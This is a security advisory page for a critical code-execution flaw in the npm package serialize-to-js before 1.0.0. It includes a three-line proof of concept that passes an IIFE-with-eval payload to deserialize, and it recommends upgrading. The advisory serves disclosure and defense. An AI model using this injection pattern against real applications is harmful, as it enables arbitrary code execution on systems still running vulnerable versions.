GHSA-mm62-wxc8-cf7mCriticalCVSS 9.8

Code Execution Through IIFE in serialize-to-js

Published
July 18, 2018
Last Modified
November 29, 2023

🔗 CVE IDs covered (1)

📋 Description

Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).

Proof of Concept

var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);

Recommendation

Update to version 1.0.0, or later, and review this disclaimer from the author.

🎯 Affected products1

  • npm/serialize-to-js:< 1.0.0

🔗 References (8)